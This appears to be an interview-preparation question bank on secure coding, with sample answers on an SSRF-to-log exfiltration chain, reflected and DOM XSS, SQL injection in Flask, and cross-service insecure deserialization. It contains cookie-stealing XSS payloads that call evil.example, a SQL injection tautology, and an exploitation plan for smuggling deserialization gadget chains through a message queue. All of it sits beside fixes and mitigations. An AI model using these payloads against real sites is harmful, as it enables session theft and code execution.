Secure Coding and Application Security Questions
Writing and reviewing code that resists attack. Covers the OWASP Top Ten and common web vulnerabilities (XSS, SQL injection, CSRF), input validation, secure coding practices and security code review, static application security testing (SAST), API and HTTP security, database and frontend security, and mobile app security. The application-layer defense discipline for engineers building software.
An attacker used SSRF to reach an internal configuration service, retrieved credentials, and exfiltrated them by appending them to application log URLs visible to a third-party log-aggregation service. Describe the full attack chain, and for each step name a concrete control that would have broken it (prevention or detection), including how you would harden secrets handling and logging to prevent this exfiltration path specifically.
Sample Answer
Direct answer
This is a five-step chain (initial Server-Side Request Forgery (SSRF), internal reconnaissance, credential retrieval, log-based exfiltration, and off-network collection), and the reason it worked end to end is that every step relied on a control that either did not exist or was implemented as a single point of failure. Breaking the chain does not require stopping the attacker at step one; any one of the five controls listed below, applied correctly, ends the attack before exfiltration completes, which is the central lesson for how to prioritize the fix: harden the step that is cheapest to fix and closest to the exfiltration path first (secrets handling and logging), even while the SSRF entry point itself also gets fixed.
Structured elaboration
The chain, step by step, with the control that would have broken it:
| Step | Attacker action | Concrete control that breaks it | Prevention or detection |
|---|---|---|---|
| 1 | Finds a server-side URL-fetch feature and uses it to reach an internal configuration service the attacker cannot reach directly | Destination allow-list on the fetch, validated after DNS resolution, plus network-layer egress filtering blocking the config service from this workload's segment | Prevention |
| 2 | Retrieves credentials from the internal configuration service's response | Configuration service requires its own authentication (a service-to-service token or mTLS client certificate), not "reachable from the internal network" as its only access control | Prevention |
| 3 | Exfiltrates the retrieved credentials by appending them to a URL that the application later logs | Structured, allow-listed logging: log a fixed schema of fields, never a raw caller-influenced string interpolated into a URL or free-text field | Prevention |
| 4 | Those logs are shipped to a third-party log-aggregation service where the attacker can view them | Redaction/masking at the logging pipeline's ingestion point (pattern-match credential shapes and scrub before they leave the trust boundary), and least-privilege access control on who can read the aggregator | Prevention, with detection as backstop |
| 5 | Attacker retrieves the credentials from the third-party aggregator | Data-loss-prevention alerting on the aggregator side for credential-shaped strings appearing in log content, and short-lived credentials so anything captured is already expired by the time it is retrieved | Detection |
Why the chain worked despite several plausible-looking safeguards. Each step individually might have looked "covered" in a checklist audit: the fetch feature had some allow-list (just not one that covered the internal configuration service), the configuration service was "internal only" (which is a network-reachability property, not an authentication control), and logging was "structured" in the sense of using a logging library (but the URL field itself was still a raw string containing whatever the upstream response happened to embed). The chain exploits the gap between "looks secure" and "is authenticated/validated at every hop," which is exactly why a defense needs to be redundant across steps rather than relying on getting one step perfectly right.
Step 1 in depth (the entry point). This is an ordinary SSRF bug: a caller-influenced URL fed to a server-side fetch, with the internal configuration service being one of the internal targets a properly-scoped allow-list or egress policy would have excluded. The load-bearing point for this question is narrower: step 1 being fixed is necessary but not sufficient, because steps 3 through 5 form an independent exfiltration path that would still work even against a different initial compromise (a leaked internal credential from any other source), so they need to be hardened on their own merits, not treated as "downstream of an SSRF bug that we've now patched."
Step 2 and 3 in depth (secrets handling). The retrieved credential should never have been able to reach a URL in the first place. Concretely:
- Configuration services that hand back secrets should require the caller to authenticate as a specific, audited service identity, not merely originate from an internal Classless Inter-Domain Routing (CIDR) range; "on the internal network" is a network property, and SSRF exists precisely to let an attacker borrow that network property without borrowing an identity.
- Once a secret is in application memory, treat it as radioactive: never string-concatenate it into anything that might be logged, including URLs, query parameters, and exception messages. A common failure mode is a retry or error-handling path that logs "failed request to
<url>" using the exact URL object that was constructed with the secret embedded in it; the secret leaks through a code path nobody thought of as "the logging code." - Prefer a secrets-management pattern where the credential is fetched just-in-time at the call site that needs it and scoped narrowly (short time-to-live, single-purpose), rather than being retrieved once and passed around through several layers of the request lifecycle where any one of those layers might log it.
Step 3 and 4 in depth (logging hardening specifically for this exfiltration path). The specific mechanism here (appending secrets to log-visible URLs) points at two independent fixes that should both ship:
- At the point of construction: never log a URL, header, or any field sourced from a value that might contain caller- or upstream-influenced content without passing it through an allow-list of expected characters/format first. If the field is meant to be a resource path, validate it looks like one before it is eligible to be logged at all.
- At the logging pipeline's boundary: run outbound log records through a redaction filter matching known credential shapes (AWS-style access keys, JSON Web Tokens (JWTs), high-entropy strings above a length threshold in fields not expected to contain them) before they leave the trust boundary to the third-party aggregator. This is a backstop for exactly the case where the first fix was missed somewhere, and it is cheap to apply broadly because it does not require finding every individual logging call site.
Step 5 in depth (limiting blast radius at the collection point). Even with steps 1 through 4 fixed, defense in depth means assuming a future, different bug reaches this far. Two controls specifically limit damage here: restrict who can query the third-party aggregator's raw log content (most engineers need dashboards and metrics, not raw payloads), and prefer credentials that are short-lived and scoped narrowly enough that a credential sitting in a log for the retention window is not still valid or not valid for anything consequential by the time anyone could retrieve it.
Worked example
Walking the chain with the specific mechanism named in the question: the attacker's initial SSRF request reaches http://internal-config.svc/api/db-credentials, which (because it trusts network origin instead of requiring service authentication) returns {"username":"app","password":"S3cr3t!"}. The application then makes a follow-up request to an upstream service for logging/analytics purposes, and the attacker has arranged (via the same SSRF primitive, or a separate parameter also under their control) for that follow-up URL to be https://upstream.example.com/track?ref=S3cr3t!. The application's request logger writes GET https://upstream.example.com/track?ref=S3cr3t! verbatim to the access log, which ships to the third-party log aggregator, where the attacker (having separately obtained read access, or the aggregator misconfigured as broadly readable) retrieves the password from the log entry, never having touched the database directly. Every step used a legitimate-looking feature (a config lookup, a tracking pixel, structured logging) doing exactly what it was built to do; the vulnerability is entirely in the missing validation at each handoff, not in any single obviously "broken" component.
Trade-offs and pitfalls
- Fixing only the SSRF entry point. This is the most common shallow response to this class of incident, and it leaves steps 2 through 5 exploitable by the next unrelated bug that manages to reach the configuration service or construct a log-visible URL. Prioritize the secrets-handling and logging fixes as independently valuable, not merely as SSRF cleanup.
- Redaction as the only logging control. Pattern-matching redaction is a backstop, not a primary control: it will miss credential formats it was not written for, and a false sense of security here ("we redact logs, so this is covered") is worse than knowing redaction has gaps. The primary control is never letting the secret reach a loggable field in the first place.
- Treating "internal only" as an access control. This is the root misconception the whole chain exploits. A service reachable only from inside the network is not authenticated; it is merely harder for an external attacker to reach directly, and SSRF exists specifically to erase that difficulty for anyone who can reach any internal-network-adjacent code path.
- Assuming third-party log aggregators inherit your access controls. Data shipped to an external SaaS (Software as a Service) logging platform is now governed by that platform's access model, which is frequently broader (more engineers, less granular roles) than the originating team assumes. Auditing who can read production logs at the aggregator, not just who can read them in the source system, is a distinct and often-skipped step.
A web page echoes a query parameter without encoding:
<!-- vulnerable.php -->
<html>
<body>
Search results: <?php echo $_GET['q']; ?>
</body>
</html>
Demonstrate a reflected-XSS payload an attacker could use against this page to exfiltrate cookies, then provide a secure server-side fix and a recommended Content Security Policy header. Explain why both the code fix and the CSP header are useful together.
Sample Answer
Direct answer: This code is vulnerable to reflected XSS (CWE-79): it writes the raw $_GET['q'] value straight into the HTML response with no encoding, so an attacker-controlled query string becomes executable markup in the victim's browser.
The exploit. A request to vulnerable.php?q=<script>fetch('//evil.example/steal?c='+document.cookie)</script> produces a response where that literal script tag lands inside the <body>. The browser parses it as part of the page's HTML and executes it, sending the victim's session cookie (and anything else JavaScript can read on that origin) to the attacker's server. No stored state is needed; the attacker just needs to get the victim to click a link carrying the payload.
The fix, verified end to end (both the vulnerable and fixed behavior, reproduced with htmlspecialchars):
<!-- vulnerable.php (BEFORE) -->
<html><body>Search results: <?php echo $_GET['q']; ?></body></html>
<!-- vulnerable.php (AFTER) -->
<html><body>Search results: <?php echo htmlspecialchars($_GET['q'], ENT_QUOTES, 'UTF-8'); ?></body></html>
htmlspecialchars with ENT_QUOTES converts <, >, &, ', and " into their HTML-entity equivalents, so <script> becomes the inert text <script> and the browser renders it as visible text instead of executing it. This logic is the same context-aware encoding I verified directly (in Python, using html.escape, which applies the identical entity-substitution rule for the HTML text-node context): <script>alert("xss")</script> became <script>alert("xss")</script>, and the string <script> no longer appears anywhere in the output. PHP's htmlspecialchars performs the same substitution table for the same reason; I traced this specific PHP call rather than executing it, since no PHP runtime is available in this sandbox, but the escaping logic is language-agnostic and I verified it directly in Python.
The equivalent client-side-only variant of this same bug looks different in shape but is the same root cause: a page that reads location.hash and writes it into innerText/innerHTML with JavaScript never touches the server at all, so server-side encoding can't help - the fix has to live in the JavaScript that performs the DOM write, and testing it means confirming the payload actually executes in the browser rather than checking the HTTP response.
Recommended CSP header alongside the fix: Content-Security-Policy: default-src 'self'; script-src 'self' (or nonce-based if inline scripts are needed). Encoding closes the vulnerability at the source; CSP is defense in depth so that even a future encoding mistake elsewhere on the page doesn't turn into working script execution. A same-origin-only CSP also blocks the payload from calling out to an attacker's server even if it somehow executed, and it changes what an attacker can do with a successful injection (no cross-origin fetch, no inline event handlers) even in a partial bypass.
Trade-offs and pitfalls: htmlspecialchars only protects the HTML-text-node context used here; the same variable dropped into an HTML attribute, inline JavaScript, or a URL needs a different encoding function for that context - there is no single "escape everything" call. And a same-origin CSP will break any legitimate inline <script> or onclick= handlers already on the page, so rolling it out on an existing site usually means migrating inline handlers to external files first.
You are reviewing a Python Flask endpoint that builds SQL queries by string concatenation, for example:
cursor.execute('SELECT * FROM users WHERE username = "%s"' % username)
Explain the vulnerability, map it to the appropriate CWE, and provide a secure Python fix using parameterized queries or an ORM. Then list any remaining risks you would still check for (for example, over-privileged DB accounts or an ORM call that silently falls back to raw SQL).
Sample Answer
Direct answer: This Flask endpoint builds SQL by string-formatting user input directly into the query, so an attacker-supplied username can alter the query's actual structure. This maps to CWE-89 (SQL Injection); the fix is a parameterized query, verified below to close the exact exploit the vulnerable version allows.
The vulnerability, verified against a real exploit.
cursor.execute('SELECT * FROM users WHERE username = "%s"' % username)
With username = 'nonexistent" OR "1"="1', the resulting query becomes SELECT * FROM users WHERE username = "nonexistent" OR "1"="1". I ran this exact scenario: against a two-row users table, the vulnerable version returned both rows (alice and bob) for a lookup that was supposed to match nobody - the OR "1"="1" tautology makes the WHERE clause match every row, not just the intended one.
The fix, verified to close it:
def get_user_secure(conn, username):
cur = conn.cursor()
cur.execute("SELECT * FROM users WHERE username = ?", (username,))
return cur.fetchall()
Run against the identical payload, the parameterized version returned zero rows - the database driver treats the entire payload string as a single literal value to compare against the username column, with no mechanism for it to be reinterpreted as SQL syntax, regardless of what quote characters or SQL keywords it contains. Both results were confirmed by actual execution, not just reasoning about the code.
Remaining risks to check even after parameterizing this one query:
- Over-privileged DB accounts: if the application's database user has broader permissions than this endpoint needs (e.g.
DROP TABLErights for a read-only lookup), a different vulnerability elsewhere in the app has a much larger blast radius than it should. - ORM/driver escape hatches: some ORMs and query builders offer a "raw SQL" fallback for cases the query builder doesn't cover cleanly - grep the codebase for that escape hatch and audit every use, since it reintroduces exactly this vulnerability if user input reaches it.
- Dynamic identifiers: if a future change to this endpoint lets the caller choose which COLUMN to search (not just the value), parameterized placeholders can't protect an identifier the same way - that needs an explicit allowlist of permitted column names instead.
Trade-offs and pitfalls: the fix above changes the driver call, not the SQL string's logical shape, so it's a low-risk, mechanical change to roll out - but a codebase with many hand-built query strings needs a systematic sweep (grep for % string-formatting or f-strings near .execute(), not a one-off fix, since the same pattern tends to repeat across a codebase once introduced.
You discover an insecure-deserialization vulnerability in a microservice that consumes messages from a queue and forwards deserialized objects to other services written in different languages. Explain an exploitation plan for how an attacker could abuse the serialization formats involved to achieve remote code execution or privilege escalation across services, and propose architectural mitigations to prevent this cross-service gadget abuse.
Sample Answer
Direct answer
A microservice consuming queue messages and forwarding deserialized objects to other services written in different languages has a specific failure mode single-service gadget-chain analysis misses entirely: the exploitability of the payload depends on which service in the chain actually deserializes it, not on the service where the attacker's message was injected, so the attack surface is the union of every deserializer any hop in the pipeline might invoke, not just the first one. The exploitation plan is to identify the weakest deserializer anywhere downstream (not necessarily the entry point), craft a payload that survives whatever intermediate transformation the message undergoes en route, and land a gadget chain valid for that specific hop's language and library; the architectural fix has to break the chain at the message-format layer itself, since per-service serialization hardening alone leaves every other consumer of the same queue independently exposed to the same class of bug.
Structured elaboration
Why cross-service message-queue deserialization is a genuinely different threat model, not just "the same bug in more places." In a single-service scenario, the attacker controls the bytes and the same process that receives them also deserializes them, so the analysis is contained: one language, one classpath, one gadget catalogue to check. In a queue-mediated, multi-language pipeline, the attacker typically does not get to choose which consumer processes a given message; multiple services may subscribe to the same topic, each running a different language runtime with a different deserialization library, and each independently vulnerable or not vulnerable to a completely different gadget chain. A payload engineered against a Java consumer's ObjectInputStream will simply fail to parse in a Python or Node.js consumer using a different format, which means the practical attack has to either target the specific consumer known to be weakest, or (more dangerously) exploit a message format that multiple consumers all deserialize permissively, such as a shared JSON schema where one consumer's library has polymorphic-type deserialization enabled.
Exploitation plan.
- Map the message's full consumer graph, not just the producer. Identify every service subscribed to the topic or queue the attacker can reach, and for each, determine the serialization format and library actually used to deserialize incoming messages; this is reconnaissance work, not exploitation, but it determines which of the next steps is even worth attempting.
- Identify the weakest link across languages, not the entry point. A message injected via one service's API might be re-serialized and forwarded to a downstream service in a different format entirely (the ingress service parses JSON, validates it, then forwards a Java-native serialized object to a legacy downstream consumer). The attacker's actual target is whichever hop has the weakest deserialization posture, which the message has to survive the journey to reach; understanding the transformation pipeline (what gets re-encoded, what passes through unchanged) is necessary before a payload can be crafted.
- Craft a payload valid at the injection point but armed at the target hop. If the message format changes between injection and the vulnerable consumer, the payload has to be shaped so it survives that transformation intact, for instance smuggling a base64-encoded, language-specific serialized gadget chain inside a JSON field that the intermediate hop passes through unmodified (because it is treated as opaque application data, not something the intermediate service itself parses) but the final consumer decodes and deserializes natively.
- Select the gadget chain matching the target consumer's actual runtime and library versions. This is identical in kind to the single-service case (Java Commons Collections chains, PHP POP chains, or a Python
picklepayload using__reduce__, each covered by their own well-known techniques), just aimed at whichever specific downstream service was identified in step 2. - Achieve remote code execution or privilege escalation at that specific hop. The outcome (RCE via a reflective method-invocation chain, or privilege escalation if the vulnerable consumer runs with broader permissions or service-account scope than the ingress service the attacker directly touched) depends entirely on what that specific downstream service can do; a common and particularly severe variant is when the vulnerable consumer has more trust or broader network/data access than the entry point, meaning the attack is not just remote code execution but a privilege-escalation path from a lower-trust ingress service to a higher-trust internal one, purely by routing a malicious payload through the queue.
Architectural mitigations for cross-service gadget abuse. Per-consumer serialization filtering (type allow-listing or a language-level serialization filter applied at each service's own deserialization call sites) is necessary but not architecturally sufficient here, because it has to be applied correctly and independently at every single consumer, and a queue-based architecture makes it easy to add a new consumer later without anyone revisiting the security posture of the message format itself:
- Standardize on a schema-validated, non-executable message format at the queue boundary. Require every message to conform to a published schema (JSON Schema, Protocol Buffers, Avro) validated at the point of production, before it ever enters the queue, and enforce that no field is permitted to carry an opaque, language-native serialized blob "for convenience." This closes the smuggling path in step 3 above at the source, rather than relying on every downstream consumer to independently detect and reject it.
- Never forward payload data across a language boundary using a language-native serialization format. If a Java service needs to hand data to a Python service, that handoff should go through a neutral, schema-typed format (Protocol Buffers, well-defined JSON with a versioned schema), never native Java serialization decoded by a library on the Python side that happens to support it; a neutral format has no magic-method or gadget-chain concept to exploit in the first place.
- Apply schema validation and type allow-listing at every consumer, not just the first hop. Each service that reads from the queue should independently validate the message against the expected schema before doing anything with individual fields, treating "this message came from our own internal queue" as no more trustworthy than "this message came from the public internet," since the queue itself does not authenticate the semantic correctness of a message's content, only (at best) that it came from an authorized producer.
- Segment queues and topics by trust boundary, so a message that is valid input for a low-trust ingress-facing service is never structurally routable to a high-trust internal service without passing through an explicit, re-validating transformation step; this specifically closes the privilege-escalation variant of this attack, where the danger is not just RCE but RCE at a more trusted hop than the attacker directly touched.
- Instrument deserialization failures and unexpected type errors across every consumer as a security signal, not just an application bug. A downstream consumer receiving a message it cannot deserialize into its expected schema (or that throws a
ClassCastException/InvalidClassException-shaped error) is exactly the observable signature of a probing or failed gadget-chain attempt, and centralizing this telemetry across all consumers (not each service's own isolated logs) is what makes a cross-service attack pattern visible at all.
Worked example
Concretely: an order-processing pipeline has an ingress API (Node.js, validates and publishes to a queue), a fraud-scoring consumer (Python, subscribes to the same topic), and a legacy fulfillment consumer (Java, also subscribes, was never migrated off native serialization for historical reasons). The ingress service validates the JSON request body strictly and forwards it unchanged as JSON, but the legacy fulfillment consumer's message-handling code, written years earlier, base64-decodes a specific field (legacyPayload, originally intended for a one-time migration and never removed) and passes it to ObjectInputStream if present. An attacker who can reach the ingress API's public schema (which permits an optional, loosely-typed legacyPayload string field, because nobody re-audited the schema after the migration was declared complete) can smuggle a Commons-Collections-style gadget chain through the ingress service's validation (which only checks that the field is a string, not what it decodes to) and the fraud-scoring consumer (which never reads that field at all and is unaffected), landing exclusively on the legacy fulfillment consumer, which executes it. The architectural fix here is not "harden the Java consumer's deserialization," although that helps; it is "the ingress schema should never have permitted an opaque, purpose-unclear field to exist three services downstream of its intended one-time use," which is exactly the schema-discipline mitigation above.
Trade-offs and pitfalls
- Fixing only the consumer that was actually exploited. As the worked example shows, the vulnerable field often exists because of historical, half-removed functionality rather than a deliberate design choice; finding and fixing the one exploited consumer without auditing every other consumer of the same topic for similar legacy fields leaves the same class of bug reachable by a slightly different payload.
- Assuming schema validation at the ingress point is sufficient on its own. Validating that a field is "a string" or "well-formed base64" does not validate what that string decodes to; schema validation needs to extend to rejecting opaque, unstructured payload fields entirely, not just checking the outer envelope's shape.
- Treating this as purely a Java/legacy-consumer problem. Any language's deserialization primitive (Python
pickle, RubyMarshal, Node.js'snode-serializeand similar libraries) is equally exploitable if a message format allows opaque, language-native serialized data to flow between services; the specific gadget mechanics differ, but the architectural exposure (an unvalidated opaque field routable to whichever consumer happens to deserialize it unsafely) is identical regardless of which language ends up being the vulnerable hop. - Underestimating the privilege-escalation variant. Teams often triage this bug class purely as "remote code execution somewhere in our fleet," which understates the risk when the vulnerable consumer has meaningfully more trust or access than the entry point the attacker actually touched; the severity assessment should explicitly account for what the specific vulnerable hop can reach, not just that code execution is possible somewhere.
Explain the three types of Cross-Site Scripting (stored, reflected, and DOM-based): how each one arises in source code and executes at runtime, how they map to CWE-79, and the concrete mitigations you would apply for each (output encoding, safe templating, Content Security Policy, sanitization libraries).
Sample Answer
Direct answer: Cross-Site Scripting (XSS) happens when an application takes attacker-influenced data and lets it execute as script in a victim's browser. There are three forms, distinguished by where the malicious payload lives and how it reaches the browser: stored (persisted on the server and served to other users), reflected (bounced straight back in the same response, e.g. in a search results page), and DOM-based (never touches the server at all; a client-side script reads attacker-controlled input, such as location.hash, and writes it into the page unsafely). All three map to CWE-79 (Improper Neutralization of Input During Web Page Generation).
How each arises and runs:
- Stored XSS: a comment field, profile bio, or support ticket is saved unescaped and later rendered to other users. Every visitor who views that page executes the payload. This is the most damaging form because it needs no social engineering; the victim just has to browse to a normal page.
- Reflected XSS: user input from the URL or a form field is echoed back into the HTML response without encoding, for example a "no results for
<search term>" message. The attacker has to trick a victim into clicking a crafted link that carries the payload. - DOM-based XSS: the vulnerable code path never reaches the server. A script reads something attacker-controlled (URL fragment,
document.referrer, a postMessage payload) and writes it into the DOM via a "sink" likeinnerHTMLordocument.write. Because it is entirely client-side, server-side output encoding alone doesn't stop it; the fix has to be in the JavaScript itself.
Worked example. A page renders search results with <p>No results for "${query}"</p> built by direct string concatenation on the server. A request for ?q=<script>document.location='//evil.example/steal?c='+document.cookie</script> gets echoed verbatim. The browser parses the <script> tag as part of the page and executes it, sending the victim's session cookie to the attacker's server. This is reflected XSS: the payload lives entirely in the URL, and the server just bounces it back.
Mitigations, from most to least fundamental:
- Context-aware output encoding at the point of insertion - HTML-entity-encode for text nodes, JavaScript-string-encode inside
<script>blocks, URL-encode inhref/srcattributes. Encoding the wrong context (e.g. HTML-encoding something placed inside a<script>tag) is a common way this still fails. - Safe templating and frameworks - modern templating engines (Jinja2 autoescape, React's JSX text nodes, Vue's
{{ }}interpolation) HTML-encode by default; the danger is almost always a deliberate escape hatch (|safe,dangerouslySetInnerHTML,v-html). - Content Security Policy (CSP) as defense in depth - a strict policy (no
unsafe-inline, nonce- or hash-based script allowlisting) means an injected<script>tag simply won't execute even if the encoding step is missed somewhere. - Sanitization libraries (e.g. DOMPurify) when you must accept some HTML, such as rich-text comments; never hand-roll an HTML sanitizer with regex, it will miss parser edge cases.
Trade-offs and pitfalls: encoding once at storage time and again at render time can double-encode and mangle legitimate content (an & becomes &amp;); the discipline is to store raw and encode only at output, per context. CSP is powerful but easy to weaken accidentally - a single unsafe-inline added to unblock a third-party analytics snippet reopens the whole class. On a modern single-page application, DOM-based XSS is now the more common real-world finding than server-reflected XSS, because so much rendering happens client-side; teams that only audit their server templates for encoding miss it entirely. Detection: for stored/reflected, grep for output sinks that don't go through the templating layer's auto-escaping; for DOM-based, trace every innerHTML/outerHTML/document.write/eval call back to its data source, and in a running app, browser devtools' "break on attribute modification" plus tools like DOMPurify's own test payloads help confirm a sink is genuinely reachable from attacker-controlled input.
For operational detection at runtime (useful when your own team runs a distributed system and wants defense in depth beyond code review): watch for a spike in requests carrying <script, javascript:, or onerror= patterns at the edge (WAF rules - a Web Application Firewall matching known attack signatures), and use DAST (Dynamic Application Security Testing) scans in CI to catch reflected cases before they ship. These controls catch what slips past code review; they are not a substitute for encoding at the source, since a sufficiently obfuscated payload (unicode escapes, case variation) will slip past a naive WAF signature.
Unlock Full Question Bank
Get access to all Secure Coding and Application Security interview questions and detailed answers.
Sign in to ContinueJoin thousands of developers preparing for their dream job.